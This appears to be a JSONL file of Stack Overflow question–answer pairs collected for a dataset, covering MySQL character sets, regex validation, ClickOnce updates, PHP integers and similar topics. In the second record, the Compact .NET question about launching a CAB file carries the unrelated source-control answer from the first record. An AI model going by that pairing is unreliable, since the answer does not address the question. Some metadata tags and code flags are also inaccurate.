{"id": "hf_33cede4c9185", "question": "<p>We have a few developers working on the same VS2005 solution, but our source control is very bad.  (Our company uses Harvest, which we give a vote of no confidence).</p>\n\n<p>Right now, we're all just working off of the files on a shared lan drive.  Obviously, this causes some problems. But we think it's better than working locally, and tracking the files we touched in a spreadsheet and merging everything manually.  Does anybody have a strategy for merging our changes?</p>\n\n<p>Some of the problems exist because of corporate beaurocracy (like mandating Harvest).  Those same policies prevent introducing new tools into our environment.  So, strategies that avoid buying/downloading new software would work best for us.</p>\n", "question_body": "", "answer": "Treat the share as if it were your source control system. Make the share read-only, which will force developers to get local copies in order to make changes. You then have a somewhat stable version to compare against. This would help facilitate being able to do \"merges\". \"Checking\" code in would have to consist of some sort of backup strategy for the file (possibly making a copy of the file with a timestamp and username as part of the new file name) and replacing the original with the new version.\nThat being said, doing this type of activity without a real source control system that is reliable is going to be difficult and error-prone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.304179"}
{"id": "hf_61675f7d3b9e", "question": "<p>Is there a way to start another application from within Compact .Net framework 1.0 similar to </p>\n\n<pre><code>System.Diagnostics.Process.Start\n</code></pre>\n\n<p>on the Windows side?</p>\n\n<p>I need to start a CAB file for installation.</p>\n", "question_body": "", "answer": "Treat the share as if it were your source control system. Make the share read-only, which will force developers to get local copies in order to make changes. You then have a somewhat stable version to compare against. This would help facilitate being able to do \"merges\". \"Checking\" code in would have to consist of some sort of backup strategy for the file (possibly making a copy of the file with a timestamp and username as part of the new file name) and replacing the original with the new version.\nThat being said, doing this type of activity without a real source control system that is reliable is going to be difficult and error-prone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.327740"}
{"id": "hf_bbf49f0b64c5", "question": "<p>My PM just stopped by and he wanted a copy of all of our pages... Is there a way to do this for all pages without having to go to each one?</p>\n", "question_body": "", "answer": "This is a really crazy idea but how about this:\nGet a list of all the pages in an array and use JavaScript to load each page with an interval of like 20 seconds. When the page gets loaded fire the window.print() Javascript function. The print job will be finished within 20 seconds and the new page gets loaded and the same thing will again happen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.364013"}
{"id": "hf_9cefb593e0f5", "question": "<p>One of the responses to <a href=\"https://stackoverflow.com/questions/198721/converting-a-word-document-into-usable-html-in-php\">a question I asked yesterday</a> suggested that I should make sure my database can handle UTF-8 characters correctly. How I can do this with MySQL?</p>\n", "question_body": "", "answer": "Update:\nShort answer - You should almost always be using the\n```\nutf8mb4\n```\ncharset and\n```\nutf8mb4_unicode_ci\n```\ncollation.\nTo alter database:\n```\n```\nALTER DATABASE dbname CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;\n```\n```\nSee:\nAaron's comment on this answer\nHow to make MySQL handle UTF-8 properly\nWhat's the difference between utf8_general_ci and utf8_unicode_ci\nConversion guide:\nhttps://dev.mysql.com/doc/refman/5.5/en/charset-unicode-conversion.html\nOriginal Answer:\nMySQL 4.1 and above has a default character set of UTF-8. You can verify this in your\n```\nmy.cnf\n```\nfile, remember to set\nboth\nclient and server (\n```\ndefault-character-set\n```\nand\n```\ncharacter-set-server\n```\n).\nIf you have existing data that you wish to convert to UTF-8, dump your database, and import it back as UTF-8 making sure:\nuse\n```\nSET NAMES utf8\n```\nbefore you query/insert into the database\nuse\n```\nDEFAULT CHARSET=utf8\n```\nwhen creating new tables\nat this point your MySQL client and server should be in UTF-8 (see\n```\nmy.cnf\n```\n). remember any languages you use (such as PHP) must be UTF-8 as well. Some versions of PHP will use their own MySQL client library, which may not be UTF-8 aware.\nIf you do want to migrate existing data remember to backup first! Lots of weird choping of data can happen when things don't go as planned!\nSome resources:\ncomplete UTF-8 migration\n(cdbaby.com)\narticle on\nUTF-8 readiness of php functions\n(note some of this information is outdated)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.461176"}
{"id": "hf_54ee2fdc534f", "question": "<p>I need to detect the device resolution automatically, right now I have a global var &amp; hardwire the resolution:</p>\n\n<pre><code>Public gDeviceRes As String = \"640\"\n'Public gDeviceRes As String = \"320\"\n</code></pre>\n\n<p>then recompile for each device, does anyone have a quick snippit of code for this??</p>\n", "question_body": "", "answer": "Depending on your exact needs, you can check the current screen dimensions with\nScreen.PrimaryScreen\nor you can P/Invoke\nGetSystemMetrics\nwith SM_CXSCREEN or\nGetDeviceCaps\nwith HORZRES. Vertical dimesions are similarly available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.508292"}
{"id": "hf_7155172c757b", "question": "<p>I am trying to write a stored procedure which selects columns from a table and adds 2 extra columns to the ResultSet. These 2 extra columns are the result of conversions on a field in the table which is a Datetime field.</p>\n\n<p>The Datetime format field has the following format 'YYYY-MM-DD HH:MM:SS.S'</p>\n\n<p>The 2 additional fields which should be in the following format:</p>\n\n<ol>\n<li>DDMMM</li>\n<li>HHMMT, where T is 'A' for a.m. and 'P' for p.m.</li>\n</ol>\n\n<p>Example: If the data in the field was '2008-10-12 13:19:12.0' then the extracted fields should contain:</p>\n\n<ol>\n<li>12OCT</li>\n<li>0119P</li>\n</ol>\n\n<p>I have tried using CONVERT string formats, but none of the formats match the output I want to get. I am thinking along the lines of extracting the field data via CONVERT and then using REPLACE, but I surely need some help here, as I am no sure.</p>\n\n<p>Could anyone well versed in stored procedures help me out here?\nThanks!</p>\n", "question_body": "", "answer": "If dt is your datetime column, then\nFor 1:\n```\n```\nSUBSTRING(CONVERT(varchar, dt, 13), 1, 2)\n    + UPPER(SUBSTRING(CONVERT(varchar, dt, 13), 4, 3))\n```\n```\nFor 2:\n```\n```\nSUBSTRING(CONVERT(varchar, dt, 100), 13, 2)\n    + SUBSTRING(CONVERT(varchar, dt, 100), 16, 3)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.543819"}
{"id": "hf_a183b4166759", "question": "<p>I can currently to the following:</p>\n\n<pre><code>class SubClass extends SuperClass {\n  function __construct() {\n    parent::__construct();\n  }\n}\n\nclass SuperClass {\n  function __construct() {\n    // this echoes \"I'm SubClass and I'm extending SuperClass\"\n    echo 'I\\'m '.get_class($this).' and I\\'m extending '.__CLASS__;\n  }\n}\n</code></pre>\n\n<p>I would like to do something similar with the filenames (<code>__FILE__</code>, but dynamically evaluated); I would like to know what file the subclass resides in, from the superclass. Is it possible in any elegant way?</p>\n\n<p>I know you could do something with <a href=\"http://fi.php.net/get_included_files\" rel=\"nofollow noreferrer\"><code>get_included_files()</code></a>, but that's not very efficient, especially if I have numerous instances.</p>\n", "question_body": "", "answer": "Uh, not really, that I can think of.  Each subclass would need to have an explicitly implemented method that returned\n```\n__FILE__\n```\n, which completely defeats the point of inheritance in the first place.\nI'm also really curious as to why something like this would be useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.616068"}
{"id": "hf_15c710cef643", "question": "<p>How can I AutoIncrement the assembly (build) number in Visual Studio?</p>\n<h3>Duplicate:</h3>\n<p><a href=\"https://stackoverflow.com/questions/650/\">/questions/650/automatically-update-version-number</a></p>\n", "question_body": "", "answer": "You can just use a wildcard in the\nAssemblyVersionAttribute\n:\n```\n```\n[assembly: AssemblyVersion(\"1.0.*\")]\n```\n```\nThis will cause build to be equal to the number of days since January 1, 2000 local time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.720807"}
{"id": "hf_f2095634cc9f", "question": "<p>In this <a href=\"http://en.wikipedia.org/wiki/Support_vector_machine#Software\" rel=\"noreferrer\">Wikipedia article about SVM</a> there are a number of links to different implementations of MATLAB toolboxes for Support Vector Machines. Could anyone suggest which of these is best in terms of speed, ease of use, etc.?</p>\n", "question_body": "", "answer": "I've used\nlibSVM\n. It is pretty fast and easy, and provides some useful tools, too. There are some examples of it in use\nhere\n. The other nice thing is that there are implementations in C++ and Java, too, so if you find yourself needing to develop outside of Matlab (to turn a prototype into something speedy, for example), you will have a familiar interface to work with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.779574"}
{"id": "hf_8659db506604", "question": "<p>Does anyone know of a system for automatic error reporting in java? We have a server product that is installed on client servers. The idea is that our server would phone home with the details of an error to one of our servers, which then enters a bug in our bug tracker. Preferable, this would happen over http. It wouldn't happen for all exceptions, just the more serious and any that are not otherwise handled.</p>\n\n<p>I'm trying to avoid rolling my own. We'll catch the exceptions ourselves, but I'm hoping this system would handle as much as possible between exception handler and the bug tracker back home.</p>\n", "question_body": "", "answer": "Not conventional, but maybe you could use\nLog4J\nappenders to do it.\nThe\nSocketAppender\nallows you to send an event to a remote a log server.  You can also communicate via mail using SMTPAppender (a little tricky but easy to implement).  I don't know if there is any other appender to communicate with the server via HTTP (you could even implement it if needed, I suppose it is pretty easy).\nLets see if other users at stackoverflow have a better idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.830490"}
{"id": "hf_df93620f7cfb", "question": "<p>I know you can do a trick of putting an HTML element on top of a Silverlight app, but that will not work full screen.  Is there anyway to show an html page inside a Silverlight application?</p>\n", "question_body": "", "answer": "The answer is, you can't. At least right now you can't - in the future it might be added but that's certainly not going to occur for a number of years (2.0 RTW was released today).\nHowever, this link may be of some interest:\nhttp://blogs.msdn.com/delay/archive/2007/09/10/bringing-a-bit-of-html-to-silverlight-htmltextblock-makes-rich-text-display-easy.aspx\nIt basically parses some \"HTML text\" and displays it as it can in a text block. Works for simple stuff, but may not be as complex as you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.854415"}
{"id": "hf_accae124875b", "question": "<p>I have found many pieces of documentations and recommendations about <code>IEnumerator</code>, <code>IEnumerable</code>, <code>ICollection</code>, <code>IList</code> and their generic counterparts. Sadly, I didn't find yet a tutorial or book which explains the whole hierarchy of interfaces, generic implementations of those interfaces <strong>and</strong> the best usage of each type of those.</p>\n\n<p>What was your best source of knowledge about the generics, their interfaces, and examples of recommended usage of those in C#?</p>\n", "question_body": "", "answer": "The main way I came to understand them was just by looking at their interfaces.\nThe inheritance goes like this:\nIList : ICollection : IEnumerable\nWhen you look up IEnumerable's interface, notice that it only has the bare minimum necessary to be able to loop through a bunch of items. It doesn't have count or anything else. IEnumerable works well even if what you're looking at is just a stream coming over a wire.\nICollection adds Count. If you are implementing some kind of collection, and if it's easy to know the size of it, then you should implement this. In this case, the generic interface is a little different. ICollection<T> also has methods to modify the collection by adding and removing members. An unordered set would be a good candidate for ICollection.\nIList adds the ability to get and set collection members by index. Use this when the order of items is significant. When you have indexes, you can do things like swap the 4th and 5th items to change their order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.878103"}
{"id": "hf_a160332a428a", "question": "<p>I'm writing an ASP.NET application. I have a textbox on a webform, and I want to force whatever the user types to upper case. I'd like to do this on the front end. You should also note that there is a validation control on this textbox, so I want to make sure the solution doesn't interfere with the ASP.NET validation.</p>\n\n<p><strong>Clarification:</strong>\nIt appears that the CSS text transform makes the user input appear in uppercase. However, under the hood, it's still lower case as the validation control fails. You see, my validation control checks to see if a valid state code is entered, however the regular expression I'm using only works with uppercase characters.</p>\n", "question_body": "", "answer": "Use a CSS style on the text box. Your CSS should be something like this:\n```\n```\n.uppercase\n{\n    text-transform: uppercase;\n}\n\n<asp:TextBox ID=\"TextBox1\" runat=\"server\" Text=\"\" CssClass=\"uppercase\"></asp:TextBox>;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.903083"}
{"id": "hf_bfe0ff3da39f", "question": "<p>In my user model, I have an attribute called \"nickname\" and validates as such:</p>\n\n<blockquote>\n  <p>validates_format_of :nickname, :with => /[a-zA-Z0-9]$/, :allow_nil => true</p>\n</blockquote>\n\n<p>However, it is currently letting this string pass as valid:</p>\n\n<p>a?c</p>\n\n<p>I only want to accept alphanumeric strings - does anyone know why my regular expression is failing?  If anybody could suggest a better regular expression, I'm all ears.</p>\n", "question_body": "", "answer": "You need to anchor the pattern on both sides:\n```\n```\n/^[a-zA-Z0-9]+$/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.976148"}
{"id": "hf_f478d211a992", "question": "<p>When I shrink a sql server database using the GUI (All Tasks->Shrink Database->Accept all defaults, click OK), it finishes quickly.</p>\n\n<p>But if I run this command, it takes a very very long time.</p>\n\n<pre><code>DBCC SHRINKDATABASE('my_database')\n</code></pre>\n\n<p>What am I missing?</p>\n\n<p>This is in SQL Server 2000.</p>\n", "question_body": "", "answer": "If I recall correctly the interface will leave about 20% grown space, running DBCC SHRINKDATABASE without any parameters shrinks it to as small as possible.\nI don't have Enterprise Manager handy to check the defaults.  But you should notice a smaller database file with the manual run than the GUI run, thus the time difference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:49.999729"}
{"id": "hf_85fd7f6d988b", "question": "<p>How can I detect the current text formatting at the cursor position in a WPF RichTextBox?</p>\n", "question_body": "", "answer": "Try the code below where rtb is the RichTextBox:\n```\n```\nTextRange tr = new TextRange(rtb.Selection.Start, rtb.Selection.End);\nobject oFont = tr.GetPropertyValue(Run.FontFamilyProperty);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.058058"}
{"id": "hf_9f2d39607e25", "question": "<p>Is it correct to say that typically user_dump_dest is on a local drive?</p>\n\n<p>If so, are there issues with mounting a NAS volume to both Unix and Windows and pointing user_dump_dest at that?</p>\n\n<p>If so, what are they? </p>\n\n<p>Are any issues worth not doing this in prod? </p>\n", "question_body": "", "answer": "Yes, typically (and by default), user_dump_dest is on a local drive.  I wouldn't expect there are any specific issues with putting it on NAS; but it would have all the potential issues that any application might:  (1) If the NAS could not be reached, Oracle would not be able to write out user dump files, and (2) the write latency would be increased.  The latency issue is probably only important if you're doing large-scale tracing to diagnose performance issues, as the write latency would impact the timing measurements.  I would expect that if the NAS because unreachable and Oracle tried to write to it, it would silently fail.\nI don't think I would do it unless space constraints on the local disk forced me to.  But generally the contents of this directory should be insignificant relative to your data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.117683"}
{"id": "hf_3d353ea65054", "question": "<p>In a script, when a command-let or other executable statement errors out, is there a try/catch type of mechanism to recover from these errors? I haven't run across one in the documentation.</p>\n", "question_body": "", "answer": "You use a\n```\nTrap [exception-type] {}\n```\nblock before the code you want to handle exceptions for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.169704"}
{"id": "hf_443a6d45b892", "question": "<p>I'm trying to subclass NSCell for use in a NSTableView. The cell I want to create is fairly complicated so it would be very useful if I could design it in Interface Builder and then load the NSCell from a nib.</p>\n\n<p>Is this possible? How do I do it?</p>\n", "question_body": "", "answer": "I do it like this:\n```\n```\n/* example of a silly way to load a UITableViewCell from a standalone nib */\n\n+ (CEntryTableViewCell *)cell\n{\n// TODO -- this is really silly.\nNSArray *theObjects = [[NSBundle mainBundle] loadNibNamed:@\"EntryTableViewCell\" owner:self options:NULL];\nfor (id theObject in theObjects)\n    if ([theObject isKindOfClass:self])\n        return(theObject);\nNSAssert(NO, @\"Could not find object of class CEntryTableViewCell in nib\");\nreturn(NULL);\n}\n```\n```\nHowever it isn't very efficient and if you're loading lot of data it might hurt you. Of course you should be using a reuseIdentifier which should force this code to only run a handful of times per table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.193318"}
{"id": "hf_c2d7e1af0d41", "question": "<p>How can I use HttpWebRequest (.NET, C#) asynchronously?</p>\n", "question_body": "", "answer": "Use\n```\nHttpWebRequest.BeginGetResponse()\n```\n```\n```\nHttpWebRequest webRequest;\n\nvoid StartWebRequest()\n{\n    webRequest.BeginGetResponse(new AsyncCallback(FinishWebRequest), null);\n}\n\nvoid FinishWebRequest(IAsyncResult result)\n{\n    webRequest.EndGetResponse(result);\n}\n```\n```\nThe callback function is called when the asynchronous operation is complete. You need to at least call\n```\nEndGetResponse()\n```\nfrom this function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.221802"}
{"id": "hf_8326ac00bc95", "question": "<p>Is there a way to automatically increment the \"minimum required version\" fields in a ClickOnce deployment to always equal the current build number? Basically, I always want my deployment to be automatically updated at launch.</p>\n\n<p>I suspect I'm going to need a some pre-/post-build events, but I hope there's an easier way.</p>\n", "question_body": "", "answer": "Are you looking for Application Updates?\nRight clicking on the project in the Solution Explorer and then clicking Publish... is the wrong way to get Application Updates. You have to right-click your project and the click Properties, then click the Publish tab. Click the Updates... button and then check the \"The application should check for updates\" check box. There you can also specify a\nminimum required version for the application.\n(I haven't used that functionality but the Updates functionality is the core reason I use ClickOnce and it works great.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.246025"}
{"id": "hf_c7077fa5a1ed", "question": "<p>Rather than population said DOM object with an external page such as HTML CFM or PHP, what if I simply want to send text?</p>\n\n<p>I've tried:</p>\n\n<p>$(\"#myDOMObject\").val(\"some text\");</p>\n\n<p>No errors, but the object value doesn't update either.</p>\n", "question_body": "", "answer": "What element is \"myDOMObject\"? If it's a text input, your code should be working fine. If it's something else, use\n```\n$(\"#myDOMObject\").text(\"some text\");\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.282720"}
{"id": "hf_8f856a9f18b0", "question": "<p>Anyone know of a link to a good article/tutorial for getting started using jQuery for AJAX calls rather than ASP.NET AJAX? I'm trying to avoid using UpdatePanels entirely in this app, which I haven't been able to accomplish in the past.</p>\n", "question_body": "", "answer": "Here are a few links:\nA Look Into JQuery API (archived)\nUsing FireBug Profiler to Dig Deep into MS AJAX and JQuery API\n(archived)\nOn Demand Loading Using JQuery Ajax API (archived)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.306752"}
{"id": "hf_f414a3f572eb", "question": "<p>We have a customer that is trying to call our web service written in C# from PHP code. The web service call takes a long as parameter.</p>\n\n<p>This call works fine for other customers calling from C# or Java but this customer is getting an error back from the call. I haven't debugged their specific call but I am guessing that the 64bit integer is getting truncated somehow from PHP. The customer says they are just making the web service call with a string but is there a wrapper in PHP that does type conversion. Could this be losing the number information?</p>\n\n<p>Thanks for any info.</p>\n", "question_body": "", "answer": "Most PHP installations won't support 64 bit integers - 32 is the max.  You can check this by reading the PHP_INT_SIZE constant (4 = 32bit, 8 = 64bit) or read the PHP_INT_MAX value.\n```\n```\n<?php\n\necho PHP_INT_SIZE, \"\\n\", PHP_INT_MAX;\n\n?>\n```\n```\nIf the web service class he is using is trying to type-convert a string representation of a 64 bit integer, then yes, it's mostly likely being truncated or converted into a float.  You can sort of see this behavior with this simple test\n```\n```\n<?php\n\necho intval( \"12345678901234567890\" );\n// prints 2147483647, the max value for a 32 bit signed int.\n```\n```\nWithout knowing the details of his implementation, it's difficult to postulate on what a good solution/workaround might be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.329997"}
{"id": "hf_206021f65a01", "question": "<p>Has anyone had this problem.  You install Silverlight 2 RTW, and open your old project.  Everything loads fine in the designer.  You have to change a few properties of your DataGrid because \"DisplayMemberBinding\" was changed to \"Binding\".  Press F5, and receive a Win32 exception in IEXPLORE.EXE.  You go check out the event viewer and see this in the log:</p>\n\n<p>Application: IEXPLORE.EXE<Br>\nCoreCLR Version: 2.0.31005.0<Br>\nDescription: The process was terminated due to an internal error in the .NET Runtime at IP 7B8F898E with exit code 8013150a.</p>\n\n<p>Any help?</p>\n", "question_body": "", "answer": "Ok,\nI'm happy to report I figured it out.  There are many breaking changes in Silverlight 2 RTW, I suggest you read this\ndocument\n.  The compiler doesn't tell you everything you need to know when you compile your solution, so it can still build but blow up when you run it.\nThe property causing the problem was \"TextWrapping\" on the \"TextBlock\" control.  The property was removed in RTW.  Why it was crashing the browser process, I have no idea, it's just a simple Xaml parse exception.  I only found this out when I put my \"App.xaml.cs\" into debug by setting a breakpoint in the constructor.\nI hope this helps someone else.\nCheers!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.353898"}
{"id": "hf_d68068a20cd1", "question": "<p>Can anyone recommend a ready-to-use class/library compatible with C/C++/MFC/ATL that would parse iCal/vCal/Google calendar files (with recurrences)? It can be free or commercial.</p>\n", "question_body": "", "answer": "there is a\nparser in PHP for iCal\n, you can downloaded and check the code to suit your language.\nfor vCal/vCard parsing\nthere's a C Library\n.\nfor Google Calendar I couldn't find any exact answer, so, try to Google it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.388879"}
{"id": "hf_8c78d1acad9d", "question": "<p>How do you get a pointer to the .text section of memory for a program from within that program?  I also need the length of the section to do a \"Flash to Memory\" compare as part of a continuous selftest that runs in the background.</p>\n\n<p>The toolset automatically generates the linker .cmd file for the tools I'm using, and the Board Support Package for the board I'm using requires I use the generated .cmd file instead of making my own.  (No make file either to add a script to muck with it afterwords.)</p>\n\n<p>Edit:\nI'm working with a TI TMS 6713 DSP using the code composer 3.1 environment. The card I'm using was contracted by our customer and produced by another organization so I can't really point you to any info on it. However the BSP is dependant upon TI's \"DSP BIOS\" config tool, and I can't really fudge the settings too much without digging into an out of scope effort.</p>\n", "question_body": "", "answer": "You need to put \"variables\" in the linker script.\nIn one of my projects I have this in one of my sections:\n```\n```\n__FlashStart = .;\n```\n```\nIn the C program I have this:\n```\n```\nextern unsigned long int _FlashStart;\nunsigned long int address = (unsigned long int)&_FlashStart;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.424295"}
{"id": "hf_57e9a6a39b00", "question": "<p>So I understand what a static method or field is, I am just wondering when to use them. That is, when writing code what design lends itself to using static methods and fields. </p>\n\n<p>One common pattern is to use static methods as a static factory, but this could just as easily be done by overloading a constructor. Correct? For example:</p>\n\n<pre><code>var bmp = System.Drawing.Bitmap.LoadFromFile(\"Image01.jpg\");\n</code></pre>\n\n<p>As for static fields, is creating singelton-objects their best use? </p>\n", "question_body": "", "answer": "It gives a better idea of the intent when you use a static factory -- it also lets you have different factories that take the same argument types but have a different meaning.  For example, imagine if Bitmap had LoadFromResource(string) -- it would not be possible to have two constructors that both took string.\nEDIT\n: From stevemegson in the comments\nA static factory can also return null, and can more easily return an instance that it got from cache. Many of my classes have a static FromId(int) to get an instance from a primary key, returning an existing cached instance if we have one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.460089"}
{"id": "hf_8261a19259a5", "question": "<p>I'd like the web service proxy class to wait more than 2 minutes</p>\n", "question_body": "", "answer": "Just set the\ntimeout property\non the proxy", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.497285"}
{"id": "hf_3e76c0bf3665", "question": "<p>What is the best or most concise method for returning a string repeated an arbitrary amount of times?</p>\n\n<p>The following is my best shot so far:</p>\n\n<pre><code>function repeat(s, n){\n    var a = [];\n    while(a.length &lt; n){\n        a.push(s);\n    }\n    return a.join('');\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfunction repeat(s, n) { var r=\"\"; for (var a=0;a<n;a++) r+=s; return r;}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.521667"}
{"id": "hf_10902c320f99", "question": "<p>I have two scripts that often need to be run with the same parameter:</p>\n\n<pre><code>$ populate.ksh 9241 &amp;&amp; check.ksh 9241\n</code></pre>\n\n<p>When I need to change the parameter (<strong>9241</strong> in this example), I can go back and edit the line in history.  But since I need to change the number in two places, I sometimes make a typo.  I'd like to be able to change the parameter just once to change it in both places.</p>\n", "question_body": "", "answer": "One solution is to simply create a wrapper script (\npopulate_check.ksh\n) that calls the scripts in turn:\n```\n```\nr=$1\npopulate.ksh $r && check.ksh $r\n```\n```\nOr for multiple parameters:\n```\n```\nfor r; do\n   populate.ksh $r && check.ksh $r\ndone\n```\n```\nFor tasks that are more transient, you can also parametrize the command so that it's easier to edit in history:\n```\n```\n$ r=9241; populate.ksh $r && check.ksh $r\n```\n```\nOr to do several at once:\n```\n```\n$ for r in 9241 9242; do populate.ksh $r && check.ksh $r; done\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:50.557819"}
